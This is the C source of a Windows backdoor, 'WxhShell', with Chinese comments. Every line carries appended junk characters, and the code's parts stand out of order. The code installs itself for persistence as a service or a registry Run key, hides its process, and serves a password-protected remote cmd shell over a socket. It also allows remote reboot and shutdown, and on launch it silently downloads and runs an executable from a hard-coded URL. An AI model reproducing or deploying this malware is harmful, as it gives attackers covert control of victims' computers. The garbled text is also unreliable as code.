    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T=kR!Gx  
    else { ?KKu1~a_  
    closesocket(wsh); dpTeF`N  
    ExitThread(0); d hp-XIA;  
    } 9Sy|:J0  
    break; h3<L,Olp  
    } -!C9x?gNY  
  // 获取shell V*C%r:5 ,v  
  case 's': { }C<<l5/ z  
    CmdShell(wsh); !I8m(axW  
    closesocket(wsh); v"LH^!/  
    ExitThread(0); SFiK_;  
    break; 8(b C.  
  } KH~o0 W  
  // 退出 'Y%@fZf x  
  case 'x': { 2# 1G)XI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^_Ap?zn  
    CloseIt(wsh); w`Ss MI  
    break; s9p~  
    } BKfkB[*F  
  // 离开 w|AHE  
  case 'q': { p /x ]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WkF60'Hf  
    closesocket(wsh); [`]h23vRW  
    WSACleanup(); 7SyysH<H  
    exit(1); +4r.G(n),  
    break; bh~"LQS1  
        } @uJ^k >B  
  } M(8Mj[>>Rj  
  } ?uBZ"^'  
zBKfaQI,  
  // 提示信息 ?##3E, /"9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?c;T4@mB  
} ~hk;OB;  
  } E;vF :?|  
G""L1?  
  return; BS@x&DB  
} vK10p)ZV  
9bxBm  
// shell模块句柄 e-`=?tct  
int CmdShell(SOCKET sock) m,"N 4a@  
{ tS@J)p+_(  
STARTUPINFO si; dh~ cj5  
ZeroMemory(&si,sizeof(si)); B9[eLh!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dHUcu@,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CU7WK}2h2C  
PROCESS_INFORMATION ProcessInfo; _^(}6o  
char cmdline[]="cmd"; ,+Bp>=pvs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w9W0j  
  return 0; K*]^0  
} 0?0$6F  
.GM}3(1fX`  
// 自身启动模式 _x&fK$Y)B  
int StartFromService(void) :1 Y*&s  
{ 9!kH:Az[p  
typedef struct xyvG+K&  
{ U^@8ebv  
  DWORD ExitStatus; ^G*zFqa+`  
  DWORD PebBaseAddress; w9c^IS  
  DWORD AffinityMask; %_>+K;<  
  DWORD BasePriority; iYE7BUH=  
  ULONG UniqueProcessId; uh8+Y%V p  
  ULONG InheritedFromUniqueProcessId; OZ9ud ]@\  
}   PROCESS_BASIC_INFORMATION; waYH_)Zx  
hHoc>S6^M  
PROCNTQSIP NtQueryInformationProcess; 1/l;4~p7'  
wBbJ \  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rF*L@HI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D |lm,  
S7A[HG;  
  HANDLE             hProcess; .bT+#x  
  PROCESS_BASIC_INFORMATION pbi; 8!!iwmH{  
M.(shIu!+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5IsRIz[`TK  
  if(NULL == hInst ) return 0; j&qJK,~  
`Qg#`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r{Stsha(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *GMs>" C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V.f'Cw  
}Efz+>F 02  
  if (!NtQueryInformationProcess) return 0; G9_M~N%a  
&E{i#r)'T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >.fN@8[  
  if(!hProcess) return 0; sA}Xha  
[:MpOl-KIz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |9D;2N(&!  
+=qazE<:0  
  CloseHandle(hProcess); fK'qc L  
2 ~zo)G0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gEBwn2  
if(hProcess==NULL) return 0; I {o\d'/  
w2mLL?P  
HMODULE hMod; 7H=^~J  
char procName[255]; 7ql&UIeQ  
unsigned long cbNeeded; Q~L"Mr8>V  
vA(')"DDT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kV mJG#  
!:7aXT*D$  
  CloseHandle(hProcess); EA/+~ux  
=)p/p6  
if(strstr(procName,"services")) return 1; // 以服务启动 _&~y{;)S  
!FhiTh:GCh  
  return 0; // 注册表启动 4=T>Iy  
} c/g"/ICs  
G3.MS7 J  
// 主模块 +TR#  
int StartWxhshell(LPSTR lpCmdLine) yQ3*~d~U|L  
{ pR VL}^Rk  
  SOCKET wsl; >UQ`@GdafR  
BOOL val=TRUE; Q.dHg7+D  
  int port=0; n* 7mP   
  struct sockaddr_in door; ?pLKUAh  
5nhc|E)C  
  if(wscfg.ws_autoins) Install(); G#~6a%VW  
3cp"UU}.  
port=atoi(lpCmdLine); j1LL[+G-"_  
-c1$>+  
if(port<=0) port=wscfg.ws_port; v8< MAq  
ZV=)`E`I|  
  WSADATA data; NyJ=^=F#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @$ea-fK??  
~ 3HI;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z [qO5z~I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XP$1CWI  
  door.sin_family = AF_INET; -i}@o1o\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b,7@)sZ*  
  door.sin_port = htons(port); xzGs%01]  
@+S5"W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |0wUOs*5  
closesocket(wsl); l*l(QvN_  
return 1; [P*w$Hn  
} h2Pvj37  
bN#)F    
  if(listen(wsl,2) == INVALID_SOCKET) { I'_.U]An  
closesocket(wsl); cX64 X  
return 1; Ux2p qPb  
} t-vH\m  
  Wxhshell(wsl); & q(D90w.  
  WSACleanup(); ~IB~>5U!  
zqq$PaH*  
return 0; xV h-Mx+M  
[}/\W`C  
} FDHa|<oz  
Tk'YpL#U  
// 以NT服务方式启动 \\qw"w9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NINaOs  
{ /}]Irj4m  
DWORD   status = 0; } r#by%P  
  DWORD   specificError = 0xfffffff; F?LTWm  
0 w"&9+kV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RyGce' q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ya9V+/i7T_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |!\(eLR9>  
  serviceStatus.dwWin32ExitCode     = 0; <*Kj7o{Qn  
  serviceStatus.dwServiceSpecificExitCode = 0; wec |~Rc-  
  serviceStatus.dwCheckPoint       = 0; UeVRd  
  serviceStatus.dwWaitHint       = 0; P2nb&lVdu  
!2('Cq_^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *lN>RWbM%  
  if (hServiceStatusHandle==0) return; &k5 Z|d|  
>^@/Ba$h  
status = GetLastError(); t._W643~  
  if (status!=NO_ERROR) <tEN1i  
{ Ou _bM n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CbJ ]}Z  
    serviceStatus.dwCheckPoint       = 0; ACg5"  
    serviceStatus.dwWaitHint       = 0; T[iwP~l  
    serviceStatus.dwWin32ExitCode     = status; |zV-a2K%J  
    serviceStatus.dwServiceSpecificExitCode = specificError; \h%/Cp+p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x)h p3&L  
    return; x. 7Ln9  
  } ?PIOuN=  
K"cN`Kj<*-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8"a[W3b  
  serviceStatus.dwCheckPoint       = 0;  \|Qx`-  
  serviceStatus.dwWaitHint       = 0; e1dT~l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5o~;0K]  
} Ksq{=q-T  
dpO ZqhRs.  
// 处理NT服务事件,比如:启动、停止 (8<U+)[tPy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 )aB']K%  
{ :bLLN  
switch(fdwControl) m CFScT  
{ zY<=r.m4  
case SERVICE_CONTROL_STOP: c}II"P  
  serviceStatus.dwWin32ExitCode = 0; C?bq7kD:H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +jFcq:`#UG  
  serviceStatus.dwCheckPoint   = 0; |wKC9O@%  
  serviceStatus.dwWaitHint     = 0; CQo<}}-o  
  { %Ot22a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9L}=xX`>?  
  } i#t)tM"  
  return; -E4e8'P;5  
case SERVICE_CONTROL_PAUSE: /?%zNkcxu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;}b.gpG  
  break; 4VjP:>*p  
case SERVICE_CONTROL_CONTINUE: lPh>8:qFM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qV$\.T>x  
  break; fA u^%jiU  
case SERVICE_CONTROL_INTERROGATE: -.|V S|y  
  break; 'IweN  
}; :XK.A   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nf5Ld"|%9  
} r00 fvZyK  
S x';Cj-  
// 标准应用程序主函数 #h@/~xr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R 2uo ZA,  
{ !3{> F"  
C>q,c3s5  
// 获取操作系统版本 g_G'%{T7  
OsIsNt=GetOsVer(); 6mJa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W6t"n_%?"  
DFKU?#R  
  // 从命令行安装 wRL=9/5(8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0/d+26lR  
33lD`4i+  
  // 下载执行文件 $UMxO`F  
if(wscfg.ws_downexe) { u@\]r 1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H gMLh*  
  WinExec(wscfg.ws_filenam,SW_HIDE); +53 Tf  
} 0^4uZeW?  
ZPWY0&9  
if(!OsIsNt) { ~^QL"p:5|  
// 如果时win9x,隐藏进程并且设置为注册表启动 3jIi$X06  
HideProc(); =dD<[Iz6  
StartWxhshell(lpCmdLine); ?b0VB  
} MR/jM@8  
else (MiEXU~v  
  if(StartFromService()) TC1#2nE&T  
  // 以服务方式启动 k:nR'TI  
  StartServiceCtrlDispatcher(DispatchTable); &Avd  
else JPQ[JD^]  
  // 普通方式启动 utxT$1iJn~  
  StartWxhshell(lpCmdLine); )cnB>Qul  
5|!x0H;  
return 0; |;o#-YosP  
} rxu 6 #v F  
>s}b q#x  
&B\tcF  
F gM<2$h  
=========================================== _D:#M  
Z -`j)3Y  
wkK61a h6  
0[@ 9f1Nk4  
c#M 'Mye  
(.,`<rXw  
" \TS t  
3!M;Z7qF]  
#include <stdio.h> beFVjVVHq  
#include <string.h> oR>o/$z$)g  
#include <windows.h> ;/#E!Ja/ u  
#include <winsock2.h> nj99!"_   
#include <winsvc.h> @O#4duM4Qz  
#include <urlmon.h> CZ*c["x2  
5K13    
#pragma comment (lib, "Ws2_32.lib") 8Czy<}S<G  
#pragma comment (lib, "urlmon.lib") gNJ,Bj Pd  
jA R@?X  
#define MAX_USER   100 // 最大客户端连接数 hc}d S$=C  
#define BUF_SOCK   200 // sock buffer vh3Xd\N  
#define KEY_BUFF   255 // 输入 buffer d:C-   
<:)T7yVq  
#define REBOOT     0   // 重启 S 8mqz.  
#define SHUTDOWN   1   // 关机 /Fej)WQp  
@EH:4~  
#define DEF_PORT   5000 // 监听端口 R4G$!6Ld  
'NF_!D  
#define REG_LEN     16   // 注册表键长度 Z,/BPK<e  
#define SVC_LEN     80   // NT服务名长度 deSrs:.  
}I;A\K]  
// 从dll定义API `T2RaWR4=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %;kr%%t%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1UX"iO x(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 59gt#1k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jPg8>Z&D  
w(pLU$6X  
// wxhshell配置信息 |LA./%U  
struct WSCFG { xoI;s}*E  
  int ws_port;         // 监听端口 [{e[3b*M|  
  char ws_passstr[REG_LEN]; // 口令 &/*XA  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;:Q 5?zM  
  char ws_regname[REG_LEN]; // 注册表键名 +L1%mVq]y  
  char ws_svcname[REG_LEN]; // 服务名 I#QBJ#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hW[/{2<@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i8pM,Ppi~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O1IR+"0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _?&$@c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4jefU}e9#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Reca5r1O  
zK893)  
}; R'f|1mt  
|>a sGP  
// default Wxhshell configuration $wUFHEl  
struct WSCFG wscfg={DEF_PORT, (yWU9q)5  
    "xuhuanlingzhe", GFasGHAw  
    1, u5^fiw]C  
    "Wxhshell", y&Sl#IQ L  
    "Wxhshell", mDz{8N9<FG  
            "WxhShell Service", mw%do&e  
    "Wrsky Windows CmdShell Service", e`ti*1]q  
    "Please Input Your Password: ", 4]O{Nko)  
  1, f3Ior.n(  
  "http://www.wrsky.com/wxhshell.exe", P.mz$M  
  "Wxhshell.exe" -o*IJQ_  
    }; T8E=}!68w}  
uTGd{w@]0|  
// 消息定义模块 1P(rgn:8e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rLO1Sv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wjW>#DE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; so}(*E&(a  
char *msg_ws_ext="\n\rExit."; 6j{9\ R  
char *msg_ws_end="\n\rQuit."; tr0P ;}=  
char *msg_ws_boot="\n\rReboot..."; {vh}f+2  
char *msg_ws_poff="\n\rShutdown..."; `oP :F[B  
char *msg_ws_down="\n\rSave to "; ?#"rI6  
L A-H  
char *msg_ws_err="\n\rErr!"; |f1 S&b.  
char *msg_ws_ok="\n\rOK!"; U8L%=/N>B  
<a7y]Py  
char ExeFile[MAX_PATH]; )8vz4e Y  
int nUser = 0; ~*RG|4#  
HANDLE handles[MAX_USER]; 4eTfb  
int OsIsNt; xrDHXqH  
>2tQ')%DJ  
SERVICE_STATUS       serviceStatus; <EFA^,3t%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IiTV*azVh  
W1S7%6y_1  
// 函数声明 "!()yjy  
int Install(void); P3X;&iT  
int Uninstall(void); D@ut -J(.  
int DownloadFile(char *sURL, SOCKET wsh); Yy`\??,  
int Boot(int flag); JVbR5"+.  
void HideProc(void); ! iuDmL  
int GetOsVer(void); a;JB8  
int Wxhshell(SOCKET wsl); |kJ'FZZd  
void TalkWithClient(void *cs); y<(q<V#0!S  
int CmdShell(SOCKET sock); N>##} i  
int StartFromService(void); Zg1=g_xY  
int StartWxhshell(LPSTR lpCmdLine); a^_\#,}  
%suSZw`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6L[Yn?;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u;p.:{'  
o))z8n?b  
// 数据结构和表定义  734)s  
SERVICE_TABLE_ENTRY DispatchTable[] = d_s=5+Yj  
{ L+,p#w  
{wscfg.ws_svcname, NTServiceMain}, P{j2'gg3  
{NULL, NULL} g&eIfm  
}; i]&C=X  
! J`>;&  
// 自我安装 )90Q  
int Install(void) 3)\jUVuj  
{ U;QTA8|!&  
  char svExeFile[MAX_PATH]; dbM~41C6  
  HKEY key; ssaEAm:  
  strcpy(svExeFile,ExeFile); \6o%gpUkD  
pw|f4c7AH  
// 如果是win9x系统,修改注册表设为自启动 B1)gudP`  
if(!OsIsNt) { {3n|=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JDPn   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n{sF'n</  
  RegCloseKey(key); SQ%B"1&$D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;NNYJqWd^]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  uYVlF@]  
  RegCloseKey(key); CT5\8C  
  return 0; 8,iBG! RF  
    } IzVb  
  } 7\x7ySM  
} ZlQ@k{Es~  
else { UhKC:<%  
k4:$LFw@  
// 如果是NT以上系统,安装为系统服务 {8+FxmH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -PXRd)~  
if (schSCManager!=0) O@.C.5Ep  
{ BUcPMF%\y:  
  SC_HANDLE schService = CreateService ,z<J`n  
  ( P^9y0Q  
  schSCManager, OsI>gX>  
  wscfg.ws_svcname, \fC)]QZ  
  wscfg.ws_svcdisp, [7x,&  
  SERVICE_ALL_ACCESS, $ 9bIUJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cGF_|1`  
  SERVICE_AUTO_START, U9w0kcUw#J  
  SERVICE_ERROR_NORMAL, ay~c@RXW  
  svExeFile, <ZmC8&Uo  
  NULL, co!o+jP  
  NULL, l0Rjq*5hJ  
  NULL, BK>3rjXi>a  
  NULL, 581Jp'cje  
  NULL  TA;r  
  ); ."`mh&+`  
  if (schService!=0) >]b>gc?3  
  { sVXIR  
  CloseServiceHandle(schService); 9$ GA s  
  CloseServiceHandle(schSCManager); as#_Fer`U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w:[1,rRvT  
  strcat(svExeFile,wscfg.ws_svcname); 25EuVj`zL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +yC]f b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X}jWNN  
  RegCloseKey(key); MU_8bK9m  
  return 0; i'XW)n  
    } N RB>X  
  } LPuc&8lGWf  
  CloseServiceHandle(schSCManager); wXUP%i]i=  
} Nf@-i`  
} dKk\"6 o  
*=G~26*!V  
return 1; \iN3/J4  
} Buxn!s  
X8(H#Ef[  
// 自我卸载 aTi2=HL=S  
int Uninstall(void) kdmmfw  
{ :Q\Es:y  
  HKEY key; YoC{ t&rY  
v67utISNI  
if(!OsIsNt) { @:2<cn`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { op!ft/Yyb  
  RegDeleteValue(key,wscfg.ws_regname); :vsBobiJ  
  RegCloseKey(key); |:qaF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1#nR$  
  RegDeleteValue(key,wscfg.ws_regname); o 8fB  
  RegCloseKey(key); XFj\H(D  
  return 0;  3)D'Yx  
  } W^(:\IvV  
} FE'|wf  
} .>X 0 $#  
else { +-%&,>R  
VIIBw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YgiLfz iT  
if (schSCManager!=0) &\n<pXQ  
{ "6^~-` O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (w1M\yodV  
  if (schService!=0) .~3s~y*s  
  { ,Z3 (`ftC  
  if(DeleteService(schService)!=0) { ;JpsRf!  
  CloseServiceHandle(schService); >JSk/]"  
  CloseServiceHandle(schSCManager); NY(z 3G  
  return 0; 5Q/&,NP  
  } HACY  
  CloseServiceHandle(schService); p* '%<3ml  
  } Wi;wu*  
  CloseServiceHandle(schSCManager); )Bz2-|\  
} ]TE(:]o7V  
} DJWm7 t  
yW =I*f  
return 1; M53{e;.kN  
} wP|Amn+;  
SRP.Mqg9  
// 从指定url下载文件 CIt%7 \c  
int DownloadFile(char *sURL, SOCKET wsh) tVUC@M>'  
{ < bvbfS  
  HRESULT hr; 4z;@1nN_8a  
char seps[]= "/"; \zx &5a #  
char *token; {zck Y  
char *file; 4J~ZZ  
char myURL[MAX_PATH]; bUcEQGHcZ=  
char myFILE[MAX_PATH]; m2{DLw".  
,ORwMZtw{H  
strcpy(myURL,sURL); J2_~iC&;s  
  token=strtok(myURL,seps); . X:  
  while(token!=NULL) ]J '#KT{  
  { %pJRu-D  
    file=token; q.}M^iDe  
  token=strtok(NULL,seps); r 9~Wh $  
  } o[A y2"e?  
{M_*hR;lL  
GetCurrentDirectory(MAX_PATH,myFILE); og?>Q i Tr  
strcat(myFILE, "\\"); #7*{ $v  
strcat(myFILE, file); $.5f-vQp  
  send(wsh,myFILE,strlen(myFILE),0); c4Leh"ry  
send(wsh,"...",3,0); nO\c4#ce  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6x.ZS'y  
  if(hr==S_OK) e=H,|)P  
return 0; 8h?):e  
else NMy+=GZu^  
return 1; -%G}T}"_  
$n><p>`  
} n5NwiSE  
Au\j6mB  
// 系统电源模块 prdc}~J8{  
int Boot(int flag) RV_(T+  
{ %U uVD  
  HANDLE hToken; $bCN;yE  
  TOKEN_PRIVILEGES tkp; .%"s| D  
ahUc ;S:v#  
  if(OsIsNt) { v'e5j``=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  ob_*fP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1;E^3j$  
    tkp.PrivilegeCount = 1; c e\|eN[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; llE_-M2gH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P}re"<MD  
if(flag==REBOOT) { L|`(u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E9bc pup  
  return 0; v<AFcY   
} AE@N:a  
else { CG0jZB#u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r7zS4;b  
  return 0; \UEO$~Km  
} ~lQ<#*wl  
  } tb1w 6jaU  
  else { V4CL% i  
if(flag==REBOOT) { JVe!(L4H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bd;?oYV~  
  return 0; oro^'#ki  
} DkA@KS1Dq  
else { ,7/F?!G!J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s#* DY  
  return 0; `Ei:Z%@7C  
} - %'ys  
} F8pP(Wl  
\:5M0  
return 1; =U`9_]~1c@  
} O/ ih9,  
\1MMz Z4rf  
// win9x进程隐藏模块 8h '~*  
void HideProc(void) .kqH}{hf  
{ N]dsGvX  
%NH{%K,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7Ap==J{a  
  if ( hKernel != NULL ) xV\mS+#  
  { c?t,,\o(}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *>,#'C2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2'-!9!C  
    FreeLibrary(hKernel); sKniqWi  
  } r"hogmFD;  
}{SpV  
return; 2PDU(R  
} ~a06x^=j  
YsA.,   
// 获取操作系统版本 G9AQIU%ii  
int GetOsVer(void) mhi^zHpa  
{ 6!A+$"  
  OSVERSIONINFO winfo; grZ?F~P8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ch0t'  
  GetVersionEx(&winfo); gCP f1z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g&?RQ  
  return 1; "V>p  
  else J5#shs[M:  
  return 0; 7f_tH_(  
} Z` zyE P A  
2 e9lk$  
// 客户端句柄模块 ,@Aeo9}  
int Wxhshell(SOCKET wsl) egn9O  
{ iZ; y(  
  SOCKET wsh; m[$pj~<\  
  struct sockaddr_in client; %<yH6h*u  
  DWORD myID; 3cB=9Y{<  
1<E:`,Mn?  
  while(nUser<MAX_USER) UC*\3:>'n  
{ l}& &f8n  
  int nSize=sizeof(client); zcCGR Ee=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \eoJ6IRE\T  
  if(wsh==INVALID_SOCKET) return 1; +sm9H"_0  
@q++eGm\Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c W^  
if(handles[nUser]==0) !wr2OxK*  
  closesocket(wsh); H+?@LPV*N  
else ykBq?Vr  
  nUser++; h/xV;oj  
  } Kn`-5{1B|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 586lN22xM  
q6AL}9]9  
  return 0; "]kq,j^]  
} <F&53N&Zc  
9^2l<4^Z  
// 关闭 socket /=+Bc=<lZ  
void CloseIt(SOCKET wsh) ~0T,_N  
{ 5hg ^K^ZZ  
closesocket(wsh); ,cwjieM  
nUser--; +WfO2V.  
ExitThread(0); <-s5 ;xwtS  
} D]*<J"/]d  
8iXt8XY3  
// 客户端请求句柄 $e/[!3CASP  
void TalkWithClient(void *cs) kx6-8j3gD7  
{ /;V:<mekf  
b6ui&Y8z  
  SOCKET wsh=(SOCKET)cs; ^hyp}WN  
  char pwd[SVC_LEN]; :#nv:~2]  
  char cmd[KEY_BUFF]; PsOu:`=r  
char chr[1]; K<~J*k<v  
int i,j; O]-s(8Oo3  
4fgYO]  
  while (nUser < MAX_USER) { %=<Kb\  
`#y?:s ]e  
if(wscfg.ws_passstr) { ;Vlt4,s)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [`_-;/Gx2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?a{es!  
  //ZeroMemory(pwd,KEY_BUFF); 9 6j*F,{  
      i=0; dW} m44X  
  while(i<SVC_LEN) { tJ9-8ZT*  
x>eV$UJ  
  // 设置超时 bTJ l  
  fd_set FdRead; =DLVWz/<  
  struct timeval TimeOut;  c FV3  
  FD_ZERO(&FdRead); ' "I-! +  
  FD_SET(wsh,&FdRead); nf )y_5y  
  TimeOut.tv_sec=8; p$!Q?&AV/  
  TimeOut.tv_usec=0; qN@0k>11?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RDsBO4RG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HWOOw&^<  
1azj%WY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gcp!"y=i  
  pwd=chr[0]; "D[/o8Hk  
  if(chr[0]==0xd || chr[0]==0xa) { /A"UV\H`f  
  pwd=0; |\6Ff/O  
  break; DQyy">]Mh  
  }  mm9xO%  
  i++; L/7YI\C2  
    } fiZq C?(  
y*7<tj.`b0  
  // 如果是非法用户,关闭 socket qJ%AbdOI8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^7,`6g  
} &N|`Q (QXS  
{"n=t`E)3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &KP JB"0L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o8!uvl}:9  
O]%Vh l  
while(1) { 3R)_'!R[B  
apw/nhQ.[  
  ZeroMemory(cmd,KEY_BUFF); |]+PDc%  
^J?y mo$>0  
      // 自动支持客户端 telnet标准   y6`zdB  
  j=0; Z?j4WJy-[  
  while(j<KEY_BUFF) { 2YhtD A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :WHbwu,L$  
  cmd[j]=chr[0]; KreF\M%Ke  
  if(chr[0]==0xa || chr[0]==0xd) { 5sI9GC  
  cmd[j]=0; #{x4s?   
  break; pL pBP+i  
  } y_}jf,b4  
  j++; <MzXTy3\  
    } oa2v/P1`  
/ &#b*46  
  // 下载文件 C{2y*sx  
  if(strstr(cmd,"http://")) { hB??~>i3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p$_X\,F  
  if(DownloadFile(cmd,wsh)) P?$Iht.^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EU4j'1!&g<  
  else .g52p+Z#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eq6. s)10  
  } 7 ?a!x$-U(  
  else { E)]RQ~jY?  
>@uFye$  
    switch(cmd[0]) { B0$.oavC  
  rO7[{<97m  
  // 帮助 /\ u1q<  
  case '?': { 8G?OZ47k#  
